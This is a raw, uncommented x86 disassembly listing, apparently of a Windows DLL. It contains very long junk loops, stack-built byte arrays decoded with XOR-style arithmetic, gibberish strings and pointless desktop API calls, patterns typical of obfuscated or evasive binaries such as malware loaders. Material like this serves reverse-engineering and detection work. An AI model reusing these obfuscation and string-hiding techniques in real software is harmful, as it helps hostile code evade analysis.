jle 0x1000377a
jmp 0x100037af
xor eax, eax
inc eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x10003775
push eax
push 0x6d17
mov dl, al
mov cl, al
call fcn.10001fd7
inc dword [ebp - 0x1c]
pop ecx
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jle 0x10003770
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xf
jg 0x100036bf
mov eax, dword [ebp - 0x3f0]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
jl 0x100036a6
mov dword [ebp - 0x1c], 0x17571177
xor eax, eax
mov dword [ebp - 0x258], 0xbeccce1e
mov dword [ebp - 0x54], 7
mov word [ebp - 0x360], ax
mov dword [ebp - 0x1c], ebx
jmp 0x10003846
push 1
push ecx
mov byte [ebp - 0x76], bl
lea ecx, [ebp - 0x76]
mov edx, 0x3007
call fcn.1000252b
pop ecx
lea eax, [ebp - 0x258]
xor cl, cl
push eax
push 0x3b1e
call fcn.1000220f
add esp, 0xc
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe6
je 0x10003819
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x1f4], ebx
mov dword [ebp - 0x1f0], ebx
mov dword [ebp - 0x1c], 0xa35c
mov dword [ebp - 0x2c], 0x12a30a4c
mov dword [ebp - 0x3c], 0xf1448112
mov dword [ebp - 0x54], 0x5c526587
mov dword [ebp - 0x1c], ebx
jmp 0x10003899
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x424], 0xb3bfa32a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10003888
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
cmp dword [ebp - 0x1fc], ebx
jne 0x100038ce
mov eax, dword [ebp - 0x1f0]
imul eax, dword [ebp - 0x1fc]
test eax, eax
jne 0x100038ce
mov edx, ebx
jmp 0x100038d1
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1fc]
imul edx, ecx
xor ecx, ecx
add eax, edx
cmp eax, 0x31f145ba
mov dword [ebp - 0x418], eax
sete cl
xor edx, edx
sub ecx, 0x288586fd
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1fc]
cmp ecx, eax
setle dl
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 7
jle 0x10003a13
mov dword [ebp - 0x6c], 0x4f8d
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x3c], ebx
jmp 0x10003935
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x36c], ebx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x10003928
mov dword [ebp - 0x3c], 0xffffffe4
cmp dword [ebp - 0x3c], 0xfffffff9
jl 0x100039f3
mov dword [ebp - 0x2c], 0x5a4f
cmp dword [ebp - 0x2c], 0x5cee
jle 0x10003997
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075fb8
xor eax, esi
cdq
push edx
push eax
call fcn.10004fa9
inc edi
cmp edi, 0x2ffd
jl 0x10003966
inc esi
cmp esi, 0x27c2
jl 0x10003964
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 0x6c], 9
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x2c], 0x59ff
jge 0x100039d8
mov edx, str.gotj_yydvc_hmr
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x100039d8
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x364], eax
inc dword [ebp - 0x3c]
jmp 0x10003942
mov eax, dword [ebp - 0x364]
dec eax
neg eax
sbb eax, eax
add eax, 0xffffb0d5
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x1c]
jmp 0x1000390b
push 0x30
pop eax
xor ecx, ecx
mov dword [ebp - 0x128], 0x1d13341a
inc ecx
mov dword [ebp - 0x124], 0x15181524
push 2
mov word [ebp - 0x120], 0x1420
mov byte [ebp - 0x11e], bl
mov dword [ebp - 0x11d], 0xa4a0f42
mov dword [ebp - 0x119], 0x1d190905
mov dword [ebp - 0x115], 0x5770419
mov word [ebp - 0x111], 0x1972
mov byte [ebp - 0x10f], cl
mov byte [ebp - 0x10e], 0x15
mov byte [ebp - 0x10d], cl
mov dword [ebp - 0x10c], 0x31f0517
mov dword [ebp - 0x108], 0x771e0610
mov dword [ebp - 0x104], 0x190c6b0e
mov word [ebp - 0x100], 0xc07
mov byte [ebp - 0xfe], 0x22
mov byte [ebp - 0xfd], cl
mov dword [ebp - 0xfc], 0x73067a1b
mov dword [ebp - 0xf8], 0xa0d030b
mov byte [ebp - 0xf4], 3
mov byte [ebp - 0xf3], cl
mov word [ebp - 0xf2], 0x7c02
mov byte [ebp - 0xf0], cl
mov byte [ebp - 0xef], cl
mov dword [ebp - 0xee], 0x91c7c14
mov dword [ebp - 0xea], 0x72217411
mov dword [ebp - 0xe6], 0x4f124b25
mov word [ebp - 0xe2], 0x7608
mov byte [ebp - 0xe0], 0x23
mov byte [ebp - 0xdf], cl
mov word [ebp - 0xde], 0x416
mov word [ebp - 0x50c], ax
pop esi
movzx eax, byte [ebp + esi - 0x12a]
movzx edx, byte [ebp + esi - 0x127]
mov ecx, edx
movzx eax, word [ebp + eax*2 - 0x540]
or ecx, eax
and edx, eax
movzx eax, byte [ebp + esi - 0x128]
sub ecx, edx
add esi, 2
mov word [ebp + eax*2 - 0x540], cx
cmp esi, 0x4c
jb 0x10003b27
xor eax, eax
mov dword [ebp - 0x2d0], 7
mov word [ebp - 0x4f4], ax
lea ecx, [ebp - 0x2e4]
mov word [ebp - 0x2e4], ax
lea eax, [ebp - 0x540]
push eax
mov dword [ebp - 0x2d4], ebx
call fcn.10005655
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x2c], 0x72fa5d87
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x14], ebx
jmp 0x10003cc7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x54], ebx
cmp dword [ebp - 0x14], ebx
je 0x10003bcf
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jle 0x10003bcf
xor ecx, ecx
inc ecx
jmp 0x10003bd1
mov ecx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp dword [ebp - 0x14], ecx
jne 0x10003cad
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10003c07
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x308], 0xa98c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10003bf6
mov dword [ebp - 0x34], ebx
jmp 0x10003c3e
push ebx
push 0x2977
xor eax, eax
mov dword [ebp - 0x2a0], 0xffffffff
inc eax
lea ecx, [ebp - 0x2a0]
push 0x2b47
push eax
mov dl, al
call fcn.10001caf
add esp, 0x10
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x16
jl 0x10003c12
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov dword [ebp - 0x2c], 0xbf5e
inc ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x308]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x308]
cmp ecx, eax
mov ecx, dword [ebp - 0x308]
sbb eax, eax
inc eax
add ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xfc1c5751
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xf419
setne al
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x54], eax
setg cl
mov dword [ebp - 0x54], ecx
jmp 0x10003cc4
push ecx
lea eax, [ebp - 0x79]
mov byte [ebp - 0x79], bl
push 0x53ec
push eax
mov cl, 1
call fcn.1000220f
add esp, 0xc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jg 0x10003bb2
push 0x13
xor eax, eax
lea edi, [ebp - 0x540]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x44], 0x8e2
cmp dword [ebp - 0x44], 0xb7c
jle 0x10003da6
mov edx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
lea ecx, [edi + eax]
mov esi, ebx
mov edi, edx
sar edi, cl
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4d8]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003d2a
mov eax, dword [eax]
push eax
call fcn.100443ac
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d8]
call fcn.10005611
inc esi
cmp esi, 0x29da
jl 0x10003d0c
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
inc edi
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edi
cmp edi, 0x300d
jl 0x10003d03
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x2f5b
jl 0x10003cfe
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x5b7f
jl 0x10003cf9
push 0xb15
push 0x2242
push 0x2455
push 0xf39
push 0x969
push 0x18d6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
mov dword [ebp - 0x90], 0x8c6a53d0
cmp dword [ebp - 0x44], 0x502
jge 0x10003dc4
push str.gutmvaxhk_qhqypssf_uokrmbufz_ioxdzzsfo_womhh_ghj_gwdwzw_hciihruu_esogqsvc_azhrwgswe_zwaaaknrt_iphkigkc
call fcn.100443ac
pop ecx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x190], 5
mov dword [ebp - 0x26c], 7
mov dword [ebp - 0x1c], ebx
jmp 0x10003df5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3c0], 0x6cd33356
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10003de4
lea eax, [ebp - 0x90]
mov ecx, 0x4c96
push eax
push 1
lea eax, [ebp - 0x190]
push eax
push 0x6413
push ebx
push ebx
lea edx, [ebp - 0x26c]
call fcn.10001e25
mov eax, dword [ebp - 0x190]
add esp, 0x18
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x3bc]
jne 0x10003e4b
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x3bc], eax
jl 0x10003e6e
push 1
push 0x1aa0
mov edx, 0xfbe
call fcn.1000223f
pop ecx
pop ecx
jmp 0x10003e78
mov dword [ebp - 0x2c], 0xfa1a
inc dword [ebp - 0x2c]
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x284], 9
mov dword [ebp - 0x3c], 0x6ac9
cmp dword [ebp - 0x3c], 0x6cca
jle 0x10003f02
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x2c], 0x4ee2
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x4c0]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003ecf
mov eax, dword [eax]
push eax
call fcn.100443ac
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c0]
call fcn.10005611
dec esi
dec dword [ebp - 0x2c]
jne 0x10003eb1
mov esi, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x41d9
jl 0x10003ea7
inc edi
cmp edi, 0x5bb5
jl 0x10003ea2
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jge 0x10003f21
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x404], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10003f0e
cmp dword [ebp - 0x3c], 0x68c3
jge 0x100041a0
mov dword [ebp - 0x54], 0x23d4
cmp dword [ebp - 0x54], 0x943
jge 0x10004195
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x1d0]
push eax
lea eax, [ebp - 0x350]
push eax
push str._lf__lf__lf__lf__lf
call fcn.100440ab
movsd xmm3, qword [ebp - 0x1a8]
add esp, 0x18
movsd xmm2, qword [ebp - 0x208]
movsd xmm1, qword [ebp - 0x1b8]
movsd xmm0, qword [ebp - 0x1d0]
call fcn.1000277c
movsd xmm3, qword [ebp - 0x350]
movapd xmm1, xmm0
comisd xmm0, xmm3
movsd xmm4, qword [ebp - 0x1d0]
addsd xmm1, xmm3
mulsd xmm1, qword [0x10069ad8]
movsd qword [ebp - 0x58], xmm1
movsd qword [ebp - 0x48], xmm1
jb 0x10003ff5
movsd xmm1, qword [ebp - 0x1b8]
movapd xmm5, xmm4
movsd qword [ebp - 0x30], xmm4
movapd xmm2, xmm1
movsd qword [ebp - 0x20], xmm5
movsd qword [ebp - 0x70], xmm1
movsd qword [ebp - 0x48], xmm1
movsd qword [ebp - 0x58], xmm3
jmp 0x10004117
movsd xmm2, qword [ebp - 0x208]
ucomisd xmm4, xmm2
movsd qword [ebp - 0x30], xmm2
lahf
test ah, 0x44
jnp 0x100040e4
movsd xmm0, qword [ebp - 0x1a8]
subsd xmm2, xmm4
subsd xmm0, qword [ebp - 0x1b8]
push ecx
push ecx
divsd xmm0, xmm2
movapd xmm1, xmm0
movsd qword [ebp - 0x30], xmm0
mulsd xmm1, xmm0
addsd xmm1, qword [0x10069ae0]
movsd qword [ebp - 0x70], xmm1
movsd qword [esp], xmm1
call fcn.100438f4
fdivr qword [ebp - 0x48]
movsd xmm0, qword [ebp - 0x70]
fadd qword [ebp - 0x208]
movsd qword [esp], xmm0
fstp qword [ebp - 0x20]
call fcn.100438f4
fdivr qword [ebp - 0x48]
movsd xmm0, qword [ebp - 0x30]
mulsd xmm0, qword [ebp - 0x58]
fsubr qword [ebp - 0x208]
movsd qword [ebp - 0x30], xmm0
movsd xmm0, qword [ebp - 0x70]
fstp qword [ebp - 0x48]
movsd qword [esp], xmm0
call fcn.100438f4
fdivr qword [ebp - 0x30]
movsd xmm0, qword [ebp - 0x70]
fadd qword [ebp - 0x1a8]
movsd qword [esp], xmm0
fstp qword [ebp - 0x40]
call fcn.100438f4
fdivr qword [ebp - 0x30]
pop ecx
pop ecx
movsd xmm0, qword [ebp - 0x48]
fsubr qword [ebp - 0x1a8]
movsd xmm5, qword [ebp - 0x20]
movsd xmm4, qword [ebp - 0x1d0]
movsd xmm2, qword [ebp - 0x40]
fstp qword [ebp - 0x70]
movsd qword [ebp - 0x30], xmm0
movsd xmm0, qword [ebp - 0x70]
movsd qword [ebp - 0x20], xmm5
jmp 0x10004105
movapd xmm5, xmm2
movsd qword [ebp - 0x20], xmm2
movsd xmm2, qword [ebp - 0x1a8]
movapd xmm0, xmm1
addsd xmm0, qword [ebp - 0x1a8]
subsd xmm2, xmm1
movsd xmm1, qword [ebp - 0x1b8]
movsd qword [ebp - 0x70], xmm0
movsd qword [ebp - 0x48], xmm2
movapd xmm3, xmm2
movapd xmm0, xmm4
movapd xmm2, xmm5
call fcn.1000277c
movsd xmm3, qword [ebp - 0x70]
movsd xmm2, qword [ebp - 0x30]
movsd xmm1, qword [ebp - 0x1b8]
movsd qword [ebp - 0x40], xmm0
movsd xmm0, qword [ebp - 0x1d0]
call fcn.1000277c
sub esp, 0x18
comisd xmm0, xmmword [ebp - 0x40]
movsd xmm0, qword [ebp - 0x58]
movsd qword [esp + 0x10], xmm0
jbe 0x10004173
movsd xmm0, qword [ebp - 0x48]
movsd qword [esp + 8], xmm0
movsd xmm0, qword [ebp - 0x20]
jmp 0x10004183
movsd xmm0, qword [ebp - 0x70]
movsd qword [esp + 8], xmm0
movsd xmm0, qword [ebp - 0x30]
movsd qword [esp], xmm0
push str._.9lf__.9lf__.9lf_n
call fcn.100443ac
add esp, 0x1c
push str.wqojzcas_gwa_lkr_wkddvrb_opgtasi_jufbaawj_xnx_uak_qvn
call fcn.100443ac
pop ecx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], 0xffffffec
jne 0x1000425d
xor edx, edx
mov esi, 0xc4ab
inc edx
mov dword [ebp - 0x1c], 0xb96ca2cb
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x1c], ebx
jmp 0x1000424a
mov dword [ebp - 0x14], ebx
jmp 0x100041e9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2cc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100041dc
mov dword [ebp - 0x14], ebx
jmp 0x10004205
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3d0], 0x52a26f3f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100041f4
mov dword [ebp - 0x2cc], 3
cmp dword [ebp - 0x2cc], ebx
jl 0x10004247
mov ecx, dword [ebp - 0x2cc]
xor eax, eax
cmp ecx, edx
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x404], ecx
sete al
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x3c4]
dec dword [ebp - 0x2cc]
jns 0x1000421d
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe7
jge 0x100041d7
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffec
je 0x100041bc
push 0xf9f
lea eax, [ebp - 0x284]
xor dl, dl
push eax
xor eax, eax
inc eax
push eax
push 0x452b
mov cl, al
call fcn.10002422
mov dword [ebp - 0x8c], 0xec2e0cf5
add esp, 0x10
mov dword [ebp - 0x54], 0x9ebf495e
mov dword [ebp - 0x44], 0x18d2
cmp dword [ebp - 0x44], 0x1a1f
jle 0x10004316
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, esi
mov dword [ebp - 0x54], eax
mov esi, eax
mov edi, ebx
sar esi, cl
mov eax, esi
mov ecx, 0x10075fb8
xor eax, edi
cdq
push edx
push eax
call fcn.10004fa9
inc edi
cmp edi, 0x585
jl 0x100042c1
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x6c8
jl 0x100042b6
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x3649
jl 0x100042b1
push 1
push 0x13b2
push 0x12af
push 0x1c68
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
mov dword [ebp - 0x54], 0x58382bdb
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x44], 0x16df
jge 0x10004357
mov edx, str.zpv_tgnjnhjzx_lhkcxq_lrsp_qdzjlntn_xewhgvnxx_fvc_zckhcvzgt_sxfw_pwjezknc_owrstmr_cdeqm
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x10004357
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x54], 0x3a00d0e7
mov dword [ebp - 0x8c], ebx
jmp 0x100043ac
push 0x4b9e
push ebx
lea eax, [ebp - 0x85]
mov byte [ebp - 0x85], bl
push eax
push 0x5413
push 0x6787
push 0x5193
push 0x3edd
push 0x7810
mov ecx, 0x7ad8
call fcn.10002585
add esp, 0x20
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 8
jl 0x1000436d
lea eax, [ebp - 0x8c]
mov dl, 1
push eax
push ecx
mov ecx, 0x71ef
call fcn.100022cf
pop ecx
xor eax, eax
mov dword [ebp - 0x178], 0x512f908
inc eax
mov word [ebp - 0x174], 0x319
pop ecx
mov byte [ebp - 0x171], al
mov byte [ebp - 0x162], al
mov byte [ebp - 0x131], al
push 0x36
pop eax
mov byte [ebp - 0x172], 7
mov dword [ebp - 0x170], 0x9210820
mov dword [ebp - 0x16c], 0x140e0904
mov dword [ebp - 0x168], 0x77031924
mov word [ebp - 0x164], 0x52b7
mov byte [ebp - 0x161], 0x72
mov byte [ebp - 0x160], bl
mov dword [ebp - 0x15f], 0x656183d
mov dword [ebp - 0x15b], 0x1c710c6b
mov dword [ebp - 0x157], 0xd031507
mov byte [ebp - 0x153], bl
mov dword [ebp - 0x152], 0x761e0305
mov dword [ebp - 0x14e], 0x7a1f050b
mov dword [ebp - 0x14a], 0x6f141409
mov byte [ebp - 0x146], 0x22
mov byte [ebp - 0x145], bl
mov byte [ebp - 0x144], 0x23
mov byte [ebp - 0x143], bl
mov dword [ebp - 0x142], 0x771b761d
mov dword [ebp - 0x13e], 0x76117116
mov byte [ebp - 0x13a], 3
mov byte [ebp - 0x139], bl
mov dword [ebp - 0x138], 0x4c25750f
mov word [ebp - 0x134], 0x4d1a
mov byte [ebp - 0x132], 0x10
mov dword [ebp - 0x130], 0x1b021c13
mov dword [ebp - 0x12c], 0x7c0a7317
mov word [ebp - 0x580], ax
mov dword [ebp - 0x2c], 0x1c30
cmp dword [ebp - 0x2c], 0x1c80
jle 0x1000452c
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x54], ebx
mov ecx, ebx
lea eax, [esi + edi]
sar eax, cl
mov ecx, 0x10075fb8
cdq
push edx
push eax
call fcn.10004fa9
inc ebx
cmp ebx, 0x37e1
jl 0x100044fa
inc esi
push 0
pop ebx
cmp esi, 0x79a4
jl 0x100044f7
inc edi
cmp edi, 0x4237
jl 0x100044f5
push 2
pop esi
mov ecx, ebx
cmp esi, 0x12
jne 0x1000453e
push 4
pop ecx
push 0x14
pop esi
jmp 0x10004576
movzx edx, byte [ebp + esi - 0x177]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x17a]
movzx ecx, word [ebp + eax*2 - 0x590]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x178]
add ecx, edx
mov word [ebp + eax*2 - 0x590], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x50
jb 0x10004531
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x2c], 0x1c06
jge 0x100045b8
mov edx, str.ibfzwwdnv_qfnbhjd_lgb
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x100045b8
mov dword [ebp - 4], 0x14
xor eax, eax
mov word [ebp - 0x544], ax
mov dword [ebp - 0x3c], 0x7c7ce53d
mov dword [ebp - 0x1c], 0x6c7c
cmp dword [ebp - 0x1c], 0x6cff
jle 0x10004652
mov edi, ebx
mov dword [ebp - 0x44], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
lea eax, [esi + edi]
mov esi, 0x5f2f
mov dword [ebp - 0x54], eax
mov edi, eax
mov eax, edi
lea ecx, [ebp - 0x490]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10004610
mov eax, dword [eax]
push eax
call fcn.100443ac
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x490]
call fcn.10005611
dec edi
dec esi
jne 0x100045f6
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x62c
jl 0x100045e9
inc edi
mov dword [ebp - 0x44], edi
cmp edi, 0x5345
jl 0x100045e4
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
cmp dword [ebp - 0x1c], 0x6add
jge 0x10004666
push str.pbyhynif_htbkjpwo_gycoitlkw_ocfag_mhtdxra_frkushm_puyzvsv_khgrz_zgswac
call fcn.100443ac
pop ecx
xor edx, edx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x10004682
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x17c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10004675
mov dword [ebp - 0x3c], ebx
jmp 0x1000470a
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x100046a5
cmp dword [ebp - 0x14], edx
jl 0x10004698
cmp dword [ebp - 0x3c], ebx
jle 0x1000468c
mov byte [ebp - 0x4d], bl
cmp byte [ebp - 0x4d], 0
je 0x10004731
push edx
push ecx
push ecx
mov edx, 0x4092
mov ecx, 0x6e5
call fcn.1000255a
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x2e8], 7
mov word [ebp - 0x2fc], ax
lea ecx, [ebp - 0x2fc]
lea eax, [ebp - 0x590]
mov dword [ebp - 0x2ec], ebx
push eax
call fcn.10005655
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x94], 0x62ccd204
mov dword [ebp - 0x290], 0x595a2e71
mov dword [ebp - 0x280], 0xffff
mov dword [ebp - 0x64], 0xfffffff2
cmp dword [ebp - 0x64], 0x16
jl 0x10004859